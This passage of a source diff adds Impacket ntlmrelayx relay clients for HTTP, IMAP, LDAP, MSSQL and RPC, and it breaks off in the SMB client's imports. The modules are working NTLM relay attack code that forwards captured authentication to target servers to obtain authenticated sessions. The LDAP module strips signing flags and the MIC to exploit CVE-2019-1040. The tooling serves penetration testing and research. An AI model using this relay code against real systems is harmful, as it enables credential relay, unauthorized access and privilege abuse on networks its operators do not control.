+PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"]
+
+class HTTPRelayClient(ProtocolClient):
+    PLUGIN_NAME = "HTTP"
+
+    def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ):
+        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+        self.extendedSecurity = extendedSecurity
+        self.negotiateMessage = None
+        self.authenticateMessageBlob = None
+        self.server = None
+        self.authenticationMethod = None
+
+    def initConnection(self):
+        self.session = HTTPConnection(self.targetHost,self.targetPort)
+        self.lastresult = None
+        if self.target.path == '':
+            self.path = '/'
+        else:
+            self.path = self.target.path
+        return True
+
+    def sendNegotiate(self,negotiateMessage):
+        #Check if server wants auth
+        self.session.request('GET', self.path)
+        res = self.session.getresponse()
+        res.read()
+        if res.status != 401:
+            LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
+        try:
+            if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):
+                LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
+                return False
+            if 'NTLM' in res.getheader('WWW-Authenticate'):
+                self.authenticationMethod = "NTLM"
+            elif 'Negotiate' in res.getheader('WWW-Authenticate'):
+                self.authenticationMethod = "Negotiate"
+        except (KeyError, TypeError):
+            LOG.error('No authentication requested by the server for url %s' % self.targetHost)
+            if self.serverConfig.isADCSAttack:
+                LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
+            else:
+                return False
+
+        #Negotiate auth
+        negotiate = base64.b64encode(negotiateMessage).decode("ascii")
+        headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)}
+        self.session.request('GET', self.path ,headers=headers)
+        res = self.session.getresponse()
+        res.read()
+        try:
+            serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1)
+            serverChallenge = base64.b64decode(serverChallengeBase64)
+            challenge = NTLMAuthChallenge()
+            challenge.fromString(serverChallenge)
+            return challenge
+        except (IndexError, KeyError, AttributeError):
+            LOG.error('No NTLM challenge returned from server')
+            return False
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            token = respToken2['ResponseToken']
+        else:
+            token = authenticateMessageBlob
+        auth = base64.b64encode(token).decode("ascii")
+        headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}
+        self.session.request('GET', self.path,headers=headers)
+        res = self.session.getresponse()
+        if res.status == 401:
+            return None, STATUS_ACCESS_DENIED
+        else:
+            LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)
+            #Cache this
+            self.lastresult = res.read()
+            return None, STATUS_SUCCESS
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.close()
+            self.session = None
+
+    def keepAlive(self):
+        # Do a HEAD for favicon.ico
+        self.session.request('HEAD','/favicon.ico')
+        self.session.getresponse()
+
+class HTTPSRelayClient(HTTPRelayClient):
+    PLUGIN_NAME = "HTTPS"
+
+    def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ):
+        HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+
+    def initConnection(self):
+        self.lastresult = None
+        if self.target.path == '':
+            self.path = '/'
+        else:
+            self.path = self.target.path
+        try:
+            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
+            self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context)
+        except AttributeError:
+            self.session = HTTPSConnection(self.targetHost,self.targetPort)
+        return True
diff --git a/impacket/examples/ntlmrelayx/clients/imaprelayclient.py b/impacket/examples/ntlmrelayx/clients/imaprelayclient.py
new file mode 100644
index 0000000..17659c9
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/imaprelayclient.py
@@ -0,0 +1,101 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   IMAP Protocol Client
+#   IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange
+#
+# Author:
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#   Alberto Solino (@agsolino)
+#
+import imaplib
+import base64
+from struct import unpack
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallenge
+from impacket.spnego import SPNEGO_NegTokenResp
+
+PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"]
+
+class IMAPRelayClient(ProtocolClient):
+    PLUGIN_NAME = "IMAP"
+
+    def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ):
+        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+
+    def initConnection(self):
+        self.session = imaplib.IMAP4(self.targetHost,self.targetPort)
+        self.authTag = self.session._new_tag()
+        LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
+        if 'AUTH=NTLM' not in self.session.capabilities:
+            LOG.error('IMAP server does not support NTLM authentication!')
+            return False
+        return True
+
+    def sendNegotiate(self,negotiateMessage):
+        negotiate = base64.b64encode(negotiateMessage)
+        self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF))
+        resp = self.session.readline().strip()
+        if resp != '+':
+            LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp)
+            return False
+        else:
+            self.session.send(negotiate + imaplib.CRLF)
+        try:
+            serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char
+            serverChallenge = base64.b64decode(serverChallengeBase64)
+            challenge = NTLMAuthChallenge()
+            challenge.fromString(serverChallenge)
+            return challenge
+        except (IndexError, KeyError, AttributeError):
+            LOG.error('No NTLM challenge returned from IMAP server')
+            raise
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            token = respToken2['ResponseToken']
+        else:
+            token = authenticateMessageBlob
+        auth = base64.b64encode(token)
+        self.session.send(auth + imaplib.CRLF)
+        typ, data = self.session._get_tagged_response(self.authTag)
+        if typ == 'OK':
+            self.session.state = 'AUTH'
+            return None, STATUS_SUCCESS
+        else:
+            LOG.error('IMAP: %s' % ' '.join(data))
+            return None, STATUS_ACCESS_DENIED
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.logout()
+            self.session = None
+
+    def keepAlive(self):
+        # Send a NOOP
+        self.session.noop()
+
+class IMAPSRelayClient(IMAPRelayClient):
+    PLUGIN_NAME = "IMAPS"
+
+    def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ):
+        ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
+
+    def initConnection(self):
+        self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort)
+        self.authTag = self.session._new_tag()
+        LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))
+        if 'AUTH=NTLM' not in self.session.capabilities:
+            LOG.error('IMAP server does not support NTLM authentication!')
+            return False
+        return True
diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
new file mode 100644
index 0000000..854ba22
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
@@ -0,0 +1,168 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   LDAP Protocol Client
+#   LDAP client for relaying NTLMSSP authentication to LDAP servers
+#   The way of using the ldap3 library is quite hacky, but its the best
+#   way to make the lib do things it wasn't designed to without touching
+#   its code
+#
+# Author:
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#   Alberto Solino (@agsolino)
+#
+import sys
+from struct import unpack
+from impacket import LOG
+from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD
+from ldap3.operation import bind
+try:
+    from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
+except ImportError:
+    LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'")
+    sys.exit(1)
+
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
+from impacket.spnego import SPNEGO_NegTokenResp
+
+PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]
+
+class LDAPRelayClientException(Exception):
+    pass
+
+class LDAPRelayClient(ProtocolClient):
+    PLUGIN_NAME = "LDAP"
+    MODIFY_ADD = MODIFY_ADD
+
+    def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):
+        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+        self.extendedSecurity = extendedSecurity
+        self.negotiateMessage = None
+        self.authenticateMessageBlob = None
+        self.server = None
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.socket.close()
+            self.session = None
+
+    def initConnection(self):
+        self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
+        self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
+        self.session.open(False)
+        return True
+
+    def sendNegotiate(self, negotiateMessage):
+        negoMessage = NTLMAuthNegotiate()
+        negoMessage.fromString(negotiateMessage)
+
+        # When exploiting CVE-2019-1040, remove message signing flag
+        # For SMB->LDAP this is required otherwise it triggers LDAP signing
+        # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM
+        if self.serverConfig.remove_mic:
+            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
+                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
+            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
+                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+
+        self.negotiateMessage = negoMessage.getData()
+
+        # Warn if the relayed target requests signing, which will break our attack
+        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
+            LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)')
+
+        with self.session.connection_lock:
+            if not self.session.sasl_in_progress:
+                self.session.sasl_in_progress = True
+                request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
+                response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
+                result = response[0]
+                try:
+                    sicily_packages = result['server_creds'].decode('ascii').split(';')
+                except KeyError:
+                    raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)
+
+                if 'NTLM' in sicily_packages:  # NTLM available on server
+                    request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
+                    response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
+                    result = response[0]
+                    if result['result'] == RESULT_SUCCESS:
+                        challenge = NTLMAuthChallenge()
+                        challenge.fromString(result['server_creds'])
+                        return challenge
+                else:
+                    raise LDAPRelayClientException('Server did not offer NTLM authentication!')
+
+    #This is a fake function for ldap3 which wants an NTLM client with specific methods
+    def create_negotiate_message(self):
+        return self.negotiateMessage
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            token = respToken2['ResponseToken']
+        else:
+            token = authenticateMessageBlob
+
+        authMessage = NTLMAuthChallengeResponse()
+        authMessage.fromString(token)
+        # When exploiting CVE-2019-1040, remove flags
+        if self.serverConfig.remove_mic:
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
+            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
+                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
+            authMessage['MIC'] = b''
+            authMessage['MICLen'] = 0
+            authMessage['Version'] = b''
+            authMessage['VersionLen'] = 0
+            token = authMessage.getData()
+
+        with self.session.connection_lock:
+            self.authenticateMessageBlob = token
+            request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
+            response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
+            result = response[0]
+        self.session.sasl_in_progress = False
+
+        if result['result'] == RESULT_SUCCESS:
+            self.session.bound = True
+            self.session.refresh_server_info()
+            return None, STATUS_SUCCESS
+        else:
+            if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
+                raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')
+        return None, STATUS_ACCESS_DENIED
+
+    #This is a fake function for ldap3 which wants an NTLM client with specific methods
+    def create_authenticate_message(self):
+        return self.authenticateMessageBlob
+
+    #Placeholder function for ldap3
+    def parse_challenge_message(self, message):
+        pass
+
+class LDAPSRelayClient(LDAPRelayClient):
+    PLUGIN_NAME = "LDAPS"
+    MODIFY_ADD = MODIFY_ADD
+
+    def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
+        LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+
+    def initConnection(self):
+        self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
+        self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
+        self.session.open(False)
+        return True
diff --git a/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py b/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py
new file mode 100644
index 0000000..afa5cc8
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py
@@ -0,0 +1,161 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   MSSQL (TDS) Protocol Client
+#   MSSQL client for relaying NTLMSSP authentication to MSSQL servers
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+# ToDo:
+#   [ ] Handle SQL Authentication
+#
+import random
+import string
+from struct import unpack
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \
+    TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN
+from impacket.ntlm import NTLMAuthChallenge
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.spnego import SPNEGO_NegTokenResp
+
+try:
+    from OpenSSL import SSL
+except Exception:
+    LOG.critical("pyOpenSSL is not installed, can't continue")
+
+PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient"
+
+class MYMSSQL(MSSQL):
+    def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):
+        MSSQL.__init__(self,address, port, rowsPrinter)
+        self.resp = None
+        self.sessionData = {}
+
+    def initConnection(self):
+        self.connect()
+        #This is copied from tds.py
+        resp = self.preLogin()
+        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
+            LOG.debug("Encryption required, switching to TLS")
+
+            # Switching to TLS now
+            ctx = SSL.Context(SSL.TLS_METHOD)
+            ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
+            tls = SSL.Connection(ctx,None)
+            tls.set_connect_state()
+            while True:
+                try:
+                    tls.do_handshake()
+                except SSL.WantReadError:
+                    data = tls.bio_read(4096)
+                    self.sendTDS(TDS_PRE_LOGIN, data,0)
+                    tds = self.recvTDS()
+                    tls.bio_write(tds['Data'])
+                else:
+                    break
+
+            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
+            # Transport Layer Security(TLS), limit data fragments to 16k in size.
+            self.packetSize = 16*1024-1
+            self.tlsSocket = tls
+        self.resp = resp
+        return True
+
+    def sendNegotiate(self,negotiateMessage):
+        #Also partly copied from tds.py
+        login = TDS_LOGIN()
+
+        login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
+        login['AppName']  = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
+        login['ServerName'] = self.server.encode('utf-16le')
+        login['CltIntName']  = login['AppName']
+        login['ClientPID'] = random.randint(0,1024)
+        login['PacketSize'] = self.packetSize
+        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON
+
+        # NTLMSSP Negotiate
+        login['SSPI'] = negotiateMessage
+        login['Length'] = len(login.getData())
+
+        # Send the NTLMSSP Negotiate
+        self.sendTDS(TDS_LOGIN7, login.getData())
+
+        # According to the specs, if encryption is not required, we must encrypt just
+        # the first Login packet :-o
+        if self.resp['Encryption'] == TDS_ENCRYPT_OFF:
+            self.tlsSocket = None
+
+        tds = self.recvTDS()
+        self.sessionData['NTLM_CHALLENGE'] = tds
+
+        challenge = NTLMAuthChallenge()
+        challenge.fromString(tds['Data'][3:])
+        #challenge.dump()
+
+        return challenge
+
+    def sendAuth(self,authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            token = respToken2['ResponseToken']
+        else:
+            token = authenticateMessageBlob
+
+        self.sendTDS(TDS_SSPI, token)
+        tds = self.recvTDS()
+        self.replies = self.parseReply(tds['Data'])
+        if TDS_LOGINACK_TOKEN in self.replies:
+            #Once we are here, there is a full connection and we can
+            #do whatever the current user has rights to do
+            self.sessionData['AUTH_ANSWER'] = tds
+            return None, STATUS_SUCCESS
+        else:
+            self.printReplies()
+            return None, STATUS_ACCESS_DENIED
+
+    def close(self):
+        return self.disconnect()
+
+
+class MSSQLRelayClient(ProtocolClient):
+    PLUGIN_NAME = "MSSQL"
+
+    def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ):
+        ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
+        self.extendedSecurity = extendedSecurity
+
+        self.domainIp = None
+        self.machineAccount = None
+        self.machineHashes = None
+
+    def initConnection(self):
+        self.session = MYMSSQL(self.targetHost, self.targetPort)
+        self.session.initConnection()
+        return True
+
+    def keepAlive(self):
+        # Don't know yet what needs to be done for TDS
+        pass
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.disconnect()
+            self.session = None
+
+    def sendNegotiate(self, negotiateMessage):
+        return self.session.sendNegotiate(negotiateMessage)
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        self.sessionData = self.session.sessionData
+        return self.session.sendAuth(authenticateMessageBlob, serverChallenge)
diff --git a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py
new file mode 100644
index 0000000..16a0bae
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py
@@ -0,0 +1,205 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Authors:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#   Based on @agsolino and @_dirkjan code
+#
+
+from struct import unpack
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.clients import ProtocolClient
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
+from impacket.ntlm import NTLMAuthChallenge
+from impacket.spnego import SPNEGO_NegTokenResp
+
+from impacket.dcerpc.v5 import transport, rpcrt, epm, tsch
+from impacket.dcerpc.v5.ndr import NDRCALL
+from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \
+    MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \
+    rpc_status_codes, rpc_provider_reason
+
+PROTOCOL_CLIENT_CLASS = "RPCRelayClient"
+
+class RPCRelayClientException(Exception):
+    pass
+
+class MYDCERPC_v5(DCERPC_v5):
+    def __init__(self, transport):
+        DCERPC_v5.__init__(self, transport)
+
+    def sendBindType1(self, iface_uuid, auth_data):
+        bind = MSRPCBind()
+
+        item = CtxItem()
+        item['AbstractSyntax'] = iface_uuid
+        item['TransferSyntax'] = self.transfer_syntax
+        item['ContextID'] = 0
+        item['TransItems'] = 1
+        bind.addCtxItem(item)
+
+        packet = MSRPCHeader()
+        packet['type'] = rpcrt.MSRPC_BIND
+        packet['pduData'] = bind.getData()
+        packet['call_id'] = 0
+
+        sec_trailer = SEC_TRAILER()
+        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT
+        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_CONNECT
+        sec_trailer['auth_ctx_id'] = 79231
+
+        pad = (4 - (len(packet.get_packet()) % 4)) % 4
+        if pad != 0:
+           packet['pduData'] += b'\xFF' * pad
+           sec_trailer['auth_pad_len'] = pad
+
+        packet['sec_trailer'] = sec_trailer
+        packet['auth_data'] = auth_data
+
+        self._transport.send(packet.get_packet())
+
+        s = self._transport.recv()
+
+        if s != 0:
+            resp = MSRPCHeader(s)
+        else:
+            return 0 #mmm why not None?
+
+        if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:
+            bindResp = MSRPCBindAck(resp.getData())
+        elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:
+            if resp['type'] == rpcrt.MSRPC_FAULT:
+                resp = MSRPCRespHeader(resp.getData())
+                status_code = unpack('<L', resp['pduData'][:4])[0]
+            else:
+                resp = MSRPCBindNak(resp['pduData'])
+                status_code = resp['RejectedReason']
+            if status_code in rpc_status_codes:
+                raise DCERPCException(error_code = status_code)
+            elif status_code in rpc_provider_reason:
+                raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])
+            else:
+                raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
+        else:
+            raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
+
+        self.set_max_tfrag(bindResp['max_rfrag'])
+
+        return bindResp
+
+    def sendBindType3(self, auth_data):
+        sec_trailer = SEC_TRAILER()
+        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT
+        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_CONNECT
+        sec_trailer['auth_ctx_id'] = 79231
+
+        auth3 = MSRPCHeader()
+        auth3['type'] = rpcrt.MSRPC_AUTH3
+
+        # pad (4 bytes): Can be set to any arbitrary value when set and MUST be
+        # ignored on receipt. The pad field MUST be immediately followed by a
+        # sec_trailer structure whose layout, location, and alignment are as
+        # specified in section 2.2.2.11
+        auth3['pduData'] = b'    '
+        auth3['sec_trailer'] = sec_trailer
+        auth3['auth_data'] = auth_data
+        auth3['call_id'] = 0
+
+        self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
+
+class DummyOp(NDRCALL):
+    opnum = 255
+    structure = (
+    )
+
+class RPCRelayClient(ProtocolClient):
+    PLUGIN_NAME = "RPC"
+
+    def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):
+        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
+
+        # TODO: support relaying RPC to different endpoints (e.g. DCOM, SpoolSS)
+        # TODO: create a single LOG interface for ntlmrelayx to provide a user info which message/error to which thread belongs
+        self.endpoint = serverConfig.rpc_mode
+
+        if self.endpoint == "TSCH":
+            self.endpoint_uuid = tsch.MSRPC_UUID_TSCHS
+        else:
+            raise NotImplementedError("Not implemented!")
+
+        if self.serverConfig.rpc_use_smb:
+            if self.endpoint == "TSCH":
+                self.stringbinding = "ncacn_np:%s[\\pipe\\atsvc]" % target.netloc
+            else:
+                raise NotImplementedError("Not implemented!")
+        else:
+            LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint))
+            self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')
+
+        LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))
+
+    def initConnection(self):
+        rpctransport = transport.DCERPCTransportFactory(self.stringbinding)
+
+        if self.serverConfig.rpc_use_smb:
+            LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port))
+            rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
+                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
+            rpctransport.set_dport(self.serverConfig.rpc_smb_port)
+
+        self.session = MYDCERPC_v5(rpctransport)
+        self.session.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)
+        self.session.connect()
+
+        if self.serverConfig.rpc_use_smb:
+            LOG.info("Authentication to smb://%s:%d succeeded" % (self.target.netloc, self.serverConfig.rpc_smb_port))
+
+        return True
+
+    def sendNegotiate(self, auth_data):
+        bindResp = self.session.sendBindType1(self.endpoint_uuid, auth_data)
+
+        challenge = NTLMAuthChallenge()
+        challenge.fromString(bindResp['auth_data'])
+
+        return challenge
+
+    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
+        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
+            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+            auth_data = respToken2['ResponseToken']
+        else:
+            auth_data = authenticateMessageBlob
+
+        self.session.sendBindType3(auth_data)
+
+        try:
+            req = DummyOp()
+            self.session.request(req)
+        except DCERPCException as e:
+            if 'nca_s_op_rng_error' in str(e) or 'RPC_E_INVALID_HEADER' in str(e):
+                return None, STATUS_SUCCESS
+            elif 'rpc_s_access_denied' in str(e):
+                return None, STATUS_ACCESS_DENIED
+            else:
+                LOG.info("Unexpected rpc code received from %s: %s" % (self.stringbinding, str(e)))
+                return None, STATUS_ACCESS_DENIED
+
+    def killConnection(self):
+        if self.session is not None:
+            self.session.get_rpc_transport().disconnect()
+            self.session = None
+
+    def keepAlive(self):
+        try:
+            req = DummyOp()
+            self.session.request(req)
+        except DCERPCException as e:
+            if 'nca_s_op_rng_error' not in str(e) or 'RPC_E_INVALID_HEADER' not in str(e):
+                raise
diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py
new file mode 100644
index 0000000..8ab0fa6
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py
@@ -0,0 +1,624 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SMB Relay Protocol Client
+#   This is the SMB client which initiates the connection to an
+#   SMB server and relays the credentials to this server.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+import logging
+import os
+
+from binascii import unhexlify, hexlify
+from struct import unpack, pack
+from socket import error as socketerror
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5 import nrpc
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.ndr import NULL
+from impacket import LOG
